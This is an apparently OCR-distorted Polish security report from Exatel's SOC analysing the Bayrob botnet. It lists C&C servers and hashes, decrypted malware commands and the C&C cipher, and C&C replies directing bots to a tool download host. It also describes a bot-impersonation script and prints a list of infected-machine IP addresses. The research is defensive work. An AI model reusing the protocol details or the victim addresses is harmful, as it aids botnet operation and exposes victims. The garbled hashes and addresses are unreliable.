http://www.gelbeseiten.de/kaufmaennische-schule/schwaig/sl/alphabetisch

Mozna wnioskowagé, ze celem atakujgcego mogta by¢ dalsza propagacja malware w
niemieckich szkotach i instytucjach szkoleniowych, bgdz agregacja adreséow email
wykorzystywanych pozniej w kampaniach spamowych.

Uformowanie botnetu

20 stycznia 2016 na skrzynki pocztowe Exatel trafity kolejno 2 wiadomosci
zawierajgce mutacje malware Bayrob:

Tytul wiadomos$ci email Nazwa zatacznika Nazwa pliku Suma MD5
wykonywalnego
Otrzymaliscie talon! justine2l.zip brett.exe 11b291182c4c012394a3ba78dcb86d88

Ocfgeg
Otrzymaliscie talon kelley39.zip daphne.exe 1ef3d9%e837c547a344e5383413117£f£f2
rabatowy! Knxxx




Oba download’ery w zatgcznikach posiadaty te same stowniki, stuzgce do
generowania nazw domen C&C i nawigzywaty prébe tgczenia sie z tg sama
sekwencjg C&C co downloader ,emilfecko.exe” z listopada.

Pod koniec lutego, operator botnetu zaprzestat rejestracji dynamicznych domen C&C
stuzgcych do komunikacji z download’erami . Zadna z 90 domen, z ktorymi
download’ery staraty sie nawigza¢ co 30 minut potgczenie http, nie identyfikowata sie
ze znanym im protokotem C&C. Mogto to oznaczac koniec fazy formowania nhowego
botnetu przez jego operatora.

Postanowilismy dokonaé doktadnej analizy modutu gtbwnego malware w celu
przyblizenia metodologii dziatania i zamiaréw operatora botnetu, a takze podjg¢
prébe identyfikacji potencjalne;j listy ofiar.

Analiza modutu gtbwnego malware

W przeciggu jednego miesigca dziatania botnetu, rézne downloader’y otrzymaty
rozkaz instalacji 5 kolejnych wersji modutu gtbwnego malware:

DER Rozmiar ‘ Nazwa pliku Suma MD5S Punkt zagniezdzenia w

pobrania pliku modutu gitdwnego systemie

16 Styczen 917504 akaolnasolh.exe e86b0d651e2a75844843alcc37b c:\windows\system32
64ebe

20 Styczen 1575424 ahtwvgxf.exe 64a4455547d4c6e5500039%ee56d  c:\windows\system32
6b3fa

8c2f3

mpyaiht.exe fefcle24dce8ed7d895072d6bca :\windows
df51b

9 Luty 1051136 aagunyg.exe 7ec9c35ab5f71cfballcab66e73 :\windows
43305

5 Luty 1606144

21 Styczen 1559552 ‘ vuieqgyb.exe 1cc72410414881al1673603a0216 :\windows

Wszystkie analizowane wersje modutu gtbwnego posiadaty wkompilowang, statyczng
liste serwerow C&C. Najnowsza otrzymana wersja modutu (aagunyg.exe) posiadata
siedem serwerow C&C:

131.72.139.16
185.106.120.168
wifeabout.net
resultneedle.net
riddenstorm.net



ermintrudesymphony.net
lordofthepings.ru

W danym momencie, przewaznie dwa z serwerow byty aktywne (odpowiadaty na
porcie 80).

Komunikacja z serwerem C&C przebiegata nastepujgco: najpierw podejmowana byta
proba nawigzania komunikacji kolejno z adresami serwerow z listy statycznej. Jesli
zaden z serwerow nie odpowiedziat poprawnie na komunikat powitalny konia
trojanskiego zaszyfrowany w payloadzie HTTP (POST), rozpoczynana byta préba
nawigzania komunikacji z 85 serwerami z listy generowanej dynamicznie.

Lista serweréw generowanych dynamicznie roznita sie w stosunku do listy
downloader’éw i byta budowana z uzyciem innego stownika.

Taka budowa umozliwiata operatorowi botnetu aktywacje statycznej domeny w razie
przejecia / wytgczenia przez dostawce ktérejs z pozostatych domen, a w razie
wytgczenia wszystkich statycznych — uzycie domen dynamicznych.

Analiza run-time wyjscia procedury deszyfracji
string’ow.

Z uwagi na mocng obfuskacje kodu malware (zarowno downloader’a jak i modutu
gtéwnego) w celu analizy logiki wykonania modutu gtbwnego malware,
wykorzystaliSmy element budowy malware, ktéry zostat wbudowany przez jego
autora, w celu utrudnienia analitykom przeprowadzenia inzynierii odwrotnej i
zrozumienia dziatania malware.

Podtaczylismy nastuch procedury uzywanej do selektywnej deszyfracji pojemnika
string’déw, umieszczajgc debuggerem logowanie wyjscia (zwracanych wartosci)
procedury deszyfracji. KorzystaliSmy tutaj z faktu, ze fancuchy tekstowe sg
zaszyfrowane, deszyfrowane na zgdanie i niszczone w pamieci zaraz po uzyciu.

Przyktadowe wywotanie procedury deszyfrujgcej w kodzie modutu gtdwnego malware
wyglada nastepujgco:

012A529E 6A 0C PUSH 0C <- wielkos$¢ bufora wyjsciowego

012A52AF 68 FODF0200 PUSH 2DFF0 <- 1ID zadanego stringu
012A52B6 E8 1512FEFF CALL mpyaiht.012864D0

W tym konkretnym przypadku pobierany jest tancuch "mode=sox&v=", uzywany w
procedurze budowy payload’'u HTTP POST, zawierajgcego dane identyfikujgce
maszyne ofiary przesytane do C&C.

Po uruchomieniu modutu gtbwnego malware (w miare wykonywania kolejnych
czynno$ci) kon trojanski pobierze i zniszczy kolejne tancuchy tekstowe My z kolei
zarejestrujemy to w takiej kolejnosci, w jakiej nastgpito wykonanie. Analizujgc tres¢ i



kolejnosc¢ tancuchow tekstowych, mozemy sprofilowaé wykonane przez malware
Cczynnosci:

"mpyaiht.exe"

"Presentation Superfetch Port Launcher"
"WebClient Protected Multimedia Process"
"5pb0cb80a"

"aagunyg.exe"

"oxivonl\"

"kernel32.d11l"
"HeapFree"
"CreateThread"
"CloseHandle"

"Sleep"

"CreateEventA"
"SetEvent"
"WaitForSingleObject"
"SetPriorityClass"
"FreeLibrary"
"LoadLibraryA"
"Module32First"
"OpenProcess"
"TerminateProcess"
"ContinueDebugEvent"
"WaitForDebugEvent"
"GetStartupInfoA"
"InitializeCriticalSection"
"EnterCriticalSection"
"LeaveCriticalSection"
"DeleteCriticalSection"

H\H

nEstn
"testingl23"
"testingl23"
H\H

"UPDATEMYEBAY"
"TESTPORT"
"ELEVATIONINPROGRESS"
"CAPTURESCREEN"
"BALLOONUPDATE"
"WATCHDOGPROC"
"LLDINJECTOR"
"UPDATESOX"

H\H
"lck"
" apd”
H\H

"rp"

H\H
" rngvv
"wb"

no no

sS sS
"WATCHDOGPROC"




m\n

"running...'

"/all.php?flags&"
"mode=sox&v="
"ogT7"

"&sox="

"glport=l&rsid=%s&slots=%d&adm=%ds&
x64=3d&mr=%d&p2pp=3d&swm=3s"
"NOSOXYID123"

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi
jklmnopgrstuvwxyz0123456789+/"

"%ZB"

"%ZF"

"%3D"

"/index.php"

"GET "

" HTTP/1.0 \n Accept: */* \n Connection: close \n
H\H

"Content-Length:"

"Keep-Alive"

"/index.php"

"POSTMESSAGE"

"POST "

" HTTP/1.0 \n Accept: */* \n
Connection: close \n Host:

“Content-Type: application/x-www-form-urlencoded”

“Content-Length: "

ll%dll

"Keep-Alive"

"

Hpingﬂ
Hpingﬂ

vefgn

llpingll

"Cfg"

"var user ip"
"CLEANUP"
"UPDATE"
"FLAG"
"abcdefghijklmnopgrstuvwxyz0123456789-. "
H\H

nefgn

non
°

"$really do suicide%"
"%do updates"
"%$captcha solvers"
"$compose timeout%"
"%$send multi spam%"
"%$send libpurple spam%"
"Sautoping%"
"$getcomputernames"
"%$do ping%"

"sdump ports"
"$gethostbyaddrs"
"%google ad%"
"Scraigslist ad%"
"$dep host%"




"%dep_path%"
"%google ad freqg3"
"%timers"
"$p2p ports"
"%newports"
"%no_passwords"
"$dropslotss"
"%dropauths%"
"$deleteslots%"

on

"$print screen%
"$miner idle%"
"%kill ps3%"
"%$do_sysinfo%"
"%do_balloon%"

"%$do trusted sites%"
"%$set_interceptss"
"$purge_all interceptss"
"%$disable all intercepts%"
"Sunset intercepts%"
"%$do_cpuinfo%"

"%do getemail%"
"%do_etchostss"

on

"$invite cc%

nmo i .~om

$1ip%

"HARDWARE\DESCRIPTION\
System\CentralProcessor\0"

"ProcessorNameString"

"~MHz"

" (%d MHz)"

"/setvar.php?key="

"&value="

"$3B"

"mode=sox&v="

"067"

"&sox="
"glport=l&rsid=%s&slots=%d&adm=%d&x64=5demr=%5d&p2pp=%d&swm=%s"
"NOSOXYID123"

"ABCDEFGHIJKLMNOPQRSTUVWXYZa
bcdefghijklmnopgrstuvwxyz0123456789+/"

H%ZBH

ll%2Fll

ll%3Dll

"/index.php"

"POSTMESSAGE"

"POST "

" HTTP/1.0 \n Accept: */* \n Connection: close \n
“Content-Type: application/x-www-form-urlencoded”
“Content-Length: "

ll%dll

W ten sposob, udato nam sie zdoby¢ miedzy innymi liste wszystkich dostepnych
parametréw konfiguracyjnych / komend, jakie serwer C&C moze wydac¢ malware. Na
ponizszej liscie przedstawiono wszystkie dostepne parametry konfiguracyjne /
komendy, z wyréznieniem na czerwono tych, ktore w trakcie catego czasu analizy
malware zostaty zarejestrowane w komunikacji z serwerami C&C:

really do_suicide do_update send multi_ spam

compose_timeout send libpurple_ spam




autoping do_ping
dump_ port gethostbyaddr google ad

craigslist_ad

google ad freq pP2p_port

newport dropslots
dropauths deleteslots print_screen
miner idle kill ps do_sysinfo
do_balloon do_trusted sites set_intercepts
unset_intercepts do_getemail
do_etchosts invite cc ip

purge all intercepts disable all intercepts

Szczegodlnie interesujgca wydaje sie by¢ komendareally _do_suicide, mogaca
stanowi¢ wbudowany przez autora w modut gtdbwny mechanizm deaktywacji
malware.

Inzynieria odwrotna algorytmu szyfrujgcego
komunikacje C&C

Dokonalismy analizy procedury szyfrujgcej payload HTTP w komunikacji z serwerami
C&C. Odtworzylismy symetryczny algorytm szyfrujgcy, implementujgc go w Python.
Algorytm uzywa czterobajtowego klucza, bedgcego tancuchem tekstowym (ASCII) i
sktadajgcym sie z duzych liter wbudowanego bezposrednio w kod maszynowy petli
szyfrujgce;j:

0138EECD 8B70 04 MOV ESI,DWORD PTR DS: [EAX+4]

0138EEDO Al 40D33CO01 MOV EAX,DWORD PTR DS:[13CD340]

0138EED5 81F6 5350414D XOR ESI,

0138EEDB OFAF05 E8A83CO IMUL EAX,DWORD PTR DS:[13CAS8ES8]
0138EEE2 8975 08 MOV DWORD PTR SS:[EBP+8],ESI

Downloader’y i analizowane moduty gtbwne uzywajg tego samego algorytmu
szyfrujgcego. R6znig sie natomiast kluczami, ktérymi dla downloader’éw jest tancuch
,MAPS” (SPAM czytajgc od tytu), natomiast dla modutu gtéwnego - ,PELD” (badz
~,DLEP”).

Ponizej algorytm szyfrujgcy w postaci schematycznej, uzywajgcy klucza
downloader’a:
magic = 0x5350414d = ‘MAPS’

key = magic XOR DWORD (buffer+4)
a = key

bufPtr = 0
while !ENDOFBUFFER
b = DWORD (buffer + bufPtr)




a SHR 1

d =a
BYTE (k)
8

BYTE (d + al)
BYTE (a + dl1)
(k&Oxf£££00£f£f) | (dl SHL 8)
(k&OxXf£££££00) | (al)
k

bufPtr += 4

W tym momencie jestesmy w stanie szyfrowac i deszyfrowa¢ komunikacje konia
trojanskiego z serwerami C&C. Co 30 minut modut gtdbwny malware wysyta
komunikat powitalny (GET), po czym wysyta w pakiecie POST dane identyfikujgce
przejetg maszyne. Tres¢ wystanego komunikatu przed zaszyfrowaniem i
spakowaniem Base64 z zaznaczonym na czerwono identyfikatorem mutacji /
instancji malware (numerem unikalnym dla danej ofiary) :

/all.php?flag&mode=sox&v=067&sox= &lport=1&rsid=NOSOXYID123&slots=0&
adm=1&x64=0&mr=0&p2pp=0 &swm=

Odpowiedz serwera C&C po zdeszyfrowaniu:

ping 5 FLAG cfg 115 "173.232.228.111" "131.72.139.16"
"ermintrudesymphony.net" "lordofthepings.ru" "185.106.120.168"
"riddenstorm.net" var user ip 165

%dep host% = "fourcrazyworkroad.com";

sdep path% =

$NO_pPasswo
$timers = "1200";
Scpuinfo%s = "
plugin 775192

Komunikat serwera zawiera:
e nowag liste 6 statycznych serweréw C&C,
e nazwe serwera (fourcrazyworkroad.com ) i katalog (/dep/), z ktérego
malware ma pobiera¢ narzedzia nie bedace integralng czescig malware (silnik
PhantomJS, unzip, narzedzia do liczenia bitcoin’ow),

e zapamietane na serwerze C&C informacje o procesorze ofiary,

e modut rozkazu dynamicznego (,plugin”) w postaci kodu wykonywalnego
(pliku PE) doklejonego na koncu komunikatu (w tym przypadku jest to rozkaz
.orowser_passwords” majgcy za zadanie agregacje i przestanie na C&C
haset zapamietanych w przegladarce ofiary) ,

e liczbe sekund (parametr timer) po ktérej nalezy uruchomi¢ kod rozkazu
dynamicznego PE.

Rozmowa z botnetem: piszemy kod zombie-
repeater



Znajac algorytm szyfrujgcy malware, posiadajgc implementacje symetrycznej funkcji
szyfrujacej i rozumiejgc protokoét komunikacji botnetu, jesteSmy w stanie
wiasnorecznie nawigza¢ komunikacje z serwerami C&C i podszyc sie pod malware o
dowolnym identyfikatorze ofiary.

StworzyliSmy skrypt ,zombie-repeater” nawigzujgcy komunikacje z C&C i udajgcy
modut gtéwny malware. Jego zadaniem byto sekwencyjne zgtaszanie sie do C&C,
identyfikujgc sie kolejnymi, nastepujgcymi po sobie wartosciami identyfikatora SOX,
umozliwiajgc w ten sposob podszycie sie pod rézne ofiary. Poniewaz, jak wczesniej
zauwazylismy, po nawigzaniu komunikacji z C&C serwer w pakiecie zwrotnym
przekazuje zapamietany (od ostatniego zgtoszenia maszyny zombie) tancuch
tekstowy z opisem procesora ofiary:

Scpuinfo%

oraz biorgc pod uwage fakt, ze jesli przy pomocy malware identyfikujgcego sie
danym SOX nie zostata zainfekowana jeszcze zadna ofiara, to serwer C&C zgtasza
rozkaz podania nazwy komputera i typu procesora:

ping 5 FLAG cfg 72 "185.117.73.77" "185.106.120.168" "riddenstorm.net"
"lordofthepings.ru" var user ip 124 %dep host% = "fourcrazyworkroad.com";
$dep path% = "/dep/";

%no_passwords = "0";
$timer%s = "1200";

Mozemy w ten sposob identyfikowa¢ w rozmowie z C&C te identyfikatory SOX, za
ktérymi stojg zainfekowane maszyny bedgce juz czescig botnetu.

Zauwazono, ze identyfikatory SOX nie sg inkrementowane co 1 podczas budowy
modutdéw gtownych. Zamiast tego sg one grupowane na poczatku ,slotéw”
rozmieszczonych co 512 (0x200), zwykle z wartosciami w przedziale od 1 do 20. Tak
wiec zamiast skanowac catg 32-bitowg przestrzen, wystarczy odpytywac jedynie
poczatkowe 20-30 numeréw SOX, dla kolejnych slotéw (wielokrotnosci 0x200):

5a2c8800
5a2c8a00
5a2c¢8c00
5a2c8e00

ZauwazyliSmy, ze operator botnetu w miare budowy i uruchamiania zombie-
repeater’a zaczat ,uczy¢” botnet jak rozpoznawac fatszywe ,koncowki”. Po ok. 2-3
dniach pracy zombie-repeater’a, operator zaczat blacklistowac IP, z ktérego
przychodzito potgczenie, po ok. 5-10 minutach ciggtego odpytywania roznymi
numerami SOX (prawdopodobnie korzystajgc z faktu, iz prawdziwy malware jest
zaprogramowany by zgtaszac¢ sie doktadnie co 30 minut).

Po umieszczeniu IP na blackliscie, serwer C&C niezaleznie od podawanego pozniej
identyfikatora SOX odpowiada krétkim komunikatem zwrotnym:

ping 1

W odpowiedzi zintegrowaliS$my kod zombie-repeater’a z siecig Tor, przepuszczajgc
przez niego caty symulowany ruch malware i instruujgc kod repetera tak, by po



kazdym rozpoznanym zblacklistowaniu resetowat potgczenie otrzymujgc w rezultacie
nowe IP exit-node’a Tor.

Nie wiemy, czy w odpowiedzi na to, czy z niezaleznych przyczyn, po kilku dniach
autorzy botnetu zmodyfikowali protokét. Zmienili oni algorytm kodowania wiadomosci
i rozpoczeli proces wymiany modutdw gtownych botnetu na wersje z nowym
protokotem.

Poniewaz wprowadzona modyfikacja polegata jedynie na kompresji do GZIP
zwracanego przez serwer C&C zaszyfrowanego bufora payloadu — co w przypadku
bardzo duzej entropii, jakg posiadajg dane zaszyfrowane nie umozliwiato kompres;ji i
sprowadzato sie praktycznie wytgcznie do dodania nagtéwka formatu GZIP (0x1f8b)-
mozna przypuszczac, iz decyzja o modyfikacji protokotu mogta nie by¢ do kohca
przemyslana. By¢ moze zostata podjeta w pospiechu lub jej celem byto jedynie
utrudnienie komunikacji z ,fatszywym” malware.

Po wprowadzeniu do zombie-repeater’a detekcji typu protokotu (detekcji nagtowka
GZIP zaraz przed deszyfracjg otrzymanego z C&C payload’u), byliSmy w stanie
identyfikowac¢ oba protokoty komunikacji oraz dodatkowo obserwowac sukcesywny
proces wymiany modutdw gtéwnych poszczegdlnych ofiar (rozpoznajgc fakt wymiany
po typie protokotu jakim serwer C&C odpowie na powitanie).

Kod zombie-repeater’a dziatat przez nastepne 2 tygodnie identyfikujgc aktywne
identyfikatory ofiar, ich typy CPU i agregujgc wszystkie rozkazy dynamiczne (pliki
PE), jakie operator wydawat w zalezno$ci od numeru SOX ofiary. Wydawanie
rozkazow z uzyciem plikow PE dotgczanych do payload’u, umozliwiato operatorowi
elastyczne i szybkie tworzenie nowych dowolnie skomplikowanych rozkazéw. Dato
takze mozliwosc ich przestania i wykonania na komputerze wybranej ofiary, bez
koniecznosci masowej wymiany modutdéw gtéwnych catego botnetu.

W trakcie 2 tygodni rekonesansu, zombie-repeater zebrat 13 r6znych typow plikow
PE z rozkazami dynamicznymi:

outlook account
browser passwords
outlook maillist
miner forced
burst zap

windefender
sysrestore

ads xhorny.casper
wifiex

cli lease

firefox installer
test smtp
walletdat

Rozkazy te umozliwiajg operatorowi botnetu m.in.:

e eksfiltracje zawartych w Outlook’u danych dostepowych do kont pocztowych
ofiary,
eksfiltracje haset zapamietanych w przegladarkach internetowych,
eksfiltracje ksigzek adresowych Outlook,
uzycie komputera ofiary do liczenia bitcoin’ow,
deaktywacje Windows Defendera,



e zautomatyzowane odpytywanie stron pornograficznych w tle (z uzyciem
PhantomJS) symulujgce klikanie umieszczonych tam reklam,
o eksfiltracje haset dostepowych do zapamietanych na komputerze ofiary sieci

wifi,

e detekcje mozliwosci rozsytu spamu z komputera ofiary,
e eksfiltracje zawartosci sktadowanych na dysku portfeli bitcoin.

Ponizsza tabela przedstawia zestawienie typdw procesorow ofiar, zebranych na
bazie 443 identyfikatorow SOX, na ktére serwer C&C odpowiedziat pozytywnie,
podajgc tancuchy tekstowe przekazane przez maszyny ofiar podczas infekcji:

Ilosé
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9
6
6
6
6
5
4
4
4
3
4
2
1
1
1
1
1
1
1
1

Typ procesora
Intel Core i3
Pentium Dual-Core

Intel Core 15

Intel Pentium CPU Gxxxx
Intel Core2 Duo

Intel Core i5 M

Intel Xeon

Intel Celeron M

Intel Core i3 M

Intel Pentium 4

Intel Core 17

Intel Pentium Dual CPU EXXxX
AMD Athlon II X4

AMD APU with Radeon HD Graphics

AMD Athlon 64 X2 Dual Core
AMD Athlon XP

Intel Core2 Quad CPU

AMD Sempron

Intel Core2 CPU

Genuine Intel CPU

Intel Core 17 M

Intel Pentium

Intel Pentium D

AMD TurionX2 Dual Core Mobile
Intel Atom CPU

Intel Celeron

VIA C7-D Processor

AMD Duron

AMD E-xxxX

AMD Opteron

AMD Phenom II X6

Celeron Dual-Core

Intel Pentium M

QEMU Virtual CPU

Ostatni z procesorow w tabeli (QEMU Virtual CPU), to najprawdopodobniej maszyna
sandbox’owa, wykorzystywana przez innego analityka pracujgcego nad analizg

badanego przez nas malware.

Cel | pochodzenie operatora botnetu



Ws8rdd rozkazow zebranych w czasie 2 tygodni rekonesansu dwoma najczesciej
otrzymywanymi byty:
1. komenda ,miner_forced” uruchamiajgca na komputerze ofiary ukryty proces
zajmujgcy sie mining’iem (liczeniem) bitcoin’éw, utrzymujgcy potaczenie TCP
z jednym z serwerow C&C na portach 8080 i 9999:

ping 5 FLAG cfg 72 "185.117.73.77" "185.106.120.168" "riddenstorm.net"
"lordofthepings.ru" var user ip 123

%dep_host% = "fourcrazyworkroad.com";

$dep _path% = "/dep/";

%no_password% = "0";

$timer$s = "180";

%getcomputername$ = "1";

2. komenda ,ads_xhorny.casper”, ktérej celem jest symulowanie kliknie¢
reklam umieszczonych na stronach pornograficznych:

ping 5 FLAG cfg 72 "185.117.73.77" "lordofthepings.ru" "185.106.120.168"
"riddenstorm.net" var user ip 147

%dep_host%$ = "fourcrazyworkroad.com";

%dep_path% = "/dep/";

%no_password% = "0";

$timers = "180";

$getcomputername$ = "1";

%captcha_solver$s = WL e

W celu poszukiwania informacji o pochodzeniu ofiar wykorzystaliSmy czesto
pojawiajgcy sie rozkaz ,cli_lease”:

ping 5 FLAG cli_lease 3623

: . 216.189.191.166:34964.49432a0169.146.214.156:38
271.4ad5ce0085.240.64.199:22260.4ad42e0224.253.117.84:31397.4£35160024.93.2
0.38:31206.3307£a20289.121.60.16:49427.5852ea01188.26.125.97:39758.5a0c5e097
3.134.95.95:30161.4£4c28015.29.179.211:49085.596d5c0170.72.248.121:42039.5a
39680350.164.195.202:24088.5937740465.34.240.48:35784.4£f3bdc0246.117.57.49:
37198.59af6600212.183.199.77:36724.58e4b20087.68.159.167:31449.59d1700481.1

58.65.100:28223.583ed000108.9.101.213:42755.5957680182.76.89.225:33514.5701
880360.231.254.208:36316.5a32900489.138.245.134:22093.4£5c£6092.35.45.39:36
216.50425a07201.184.45.250:50537.4£c3040089.45.46.246:46861.47ec3801200.46.
80.190:45892.59¢c67a0581.180.121.38:20229.4£004a0024.168.214.51:29221.4£c428
00148.3.137.5:50207.59c6960266.169.179.172:22979.57a03201190.2.230.85:47621
.5a6ada00200.6.177.3:21224.5a7£e80085.101.216.153:28073.4£7bd803178.25.67.8
0:36481.59ebc20095.76.145.39:34044.5724220031.5.65.61:49207

Rozkaz zawiera liste IP i portéw zainfekowanych maszyn (oczekujgcych na
potgczenie procesow ‘backdoor’) wraz z identyfikatorami SOX ich modutéw
gtébwnych. Po otrzymaniu rozkazu, modut gtdwny ktory go odebrat, prébuje nawigzac



krotkie, kilkubajtowe potgczenie TCP na podanym porcie kolejno z kazdg z maszyn z
listy. Mozliwym przeznaczeniem rozkazu moze by¢ decentralizacja komunikacji i
umozliwienie potgczen P2P miedzy ofiarami. Po zestawieniu wszystkich zebranych w
trakcie rekonesansu adresow IP i ich numeréw SOX zawartych w pakietach
cli_lease, stworzono statystyke ofiar:

1 Rumunia 1238 1391
2 USA 560 602
3 Hiszpania 258 297
4 Izrael 247 301
5 UAE 190 268
6 Indie 102 110
7 Wiochy 94 116
8 Meksyk 75 84
9 GB 73 91
10 Kanada 54 60
33 Polska 9 9

W tym miejscu, nasuwa sie na mysl pewne spostrzezenie. Opublikowany w 2013
raport Jasona Geffnera dotyczgcy analizy mozliwosci i celéw dwczesnej wersji
malware Bayrob, pokazuje podobnie wysokg (drugg) pozycje Rumunii w statystykach
ofiar botnetu, zaraz po USA (odwrotnie niz w wynikach naszej analizy) i to pomimo
zastosowania przez Gaffnera odmiennej od naszej metody analizy statystyk ofiar
(sinkholing komunikacji C&C modutéw downloader’a).

Zidentyfikowane przez Gaffnera w kodzie éwczesnej wersji downloader’a tancuchy
tekstowe, zawierajgce imiona rumunskich artystow muzycznych oraz przeklenstwa w
jezyku rumunskim, wskazujqg, iz autor malware moze pochodzi¢ z tego kraju.

Biorgc pod uwage fakt, ze gtéwnym celem operatora botnetu wydajg sie by¢ korzysci
finansowe (o czym $wiadczy choéby agregacja informaciji o typach procesoréow
maszyn ofiar w celu wykorzystania mocy obliczeniowej do mining’u bitcoin’éw i
implementacja komend do kradziezy portfeli bitcoin’owych), wysoki poziom infekciji
maszyn z rumunskiej przestrzeni IP moze wynikac nie tyle z faktu obrania za gtéwny
cel ataku akurat tego kraju, ale po prostu wiekszej skutecznosci kampanii rozbudowy
botnetu. Efektywnosc¢ pierwszej fazy wektora ataku stosowanego przez operatorow
Bayrob (kampania spamowa propagujgca poczte zawierajgcg moduty downloader), w
duzej mierze zalezy od efektywnego wykorzystania inzynierii spotecznej, a co za tym
idzie dobrej znajomosci lokalnego spoteczenstwa, jezyka czy nawet nastrojow


https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf

spotecznych. Duza skutecznos¢ w infekcji maszyn tego kraju, moze rowniez
sugerowac rumunskie korzenie (bgdz powigzania) autora.

Pod koniec kwietnia rozpoczeta sie nowa (kolejna od ostatniego listopada) faza
rozbudowy botnetu, co obrazuje ponizszy wykres z systemu Virusradar:

Win32/Bayrob trend in world
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Statystyki aktywnosci botnetu wskazujg na zwiekszony w tym czasie wspoétczynnik
infekcji maszyn bedacy efektem prawdopodobnie uruchomienia nowej kampanii.
Szczyt wspoétczynnika nowych infekcji malware Bayrob osiggnat 9 maja 2016 r.

Centrum Operacyjne Bezpieczenstwa Cybernetycznego (SOC), Exatel

Security Operations Center (SOC) fo nowoczesna, wyspecjalizowana komoérka Exatel,
skupiajgca ekspertow z szerokimi kompetencjami w dziedzinie bezpieczenstwa
teleinformatycznego. Zespot zajmuje sie identyfikacjg, prewencjg i ochrong klientow przed
cyberzagrozeniami, ktére mogg uniemozliwi¢ prawidtowe funkcjonowanie organizacji.
Skuteczno$¢ SOC Exatel wynika z bliskiej wspdtpracy ekspertow z klientami oraz
catodobowym wsparciu oferowanym przez 365 dni w roku.



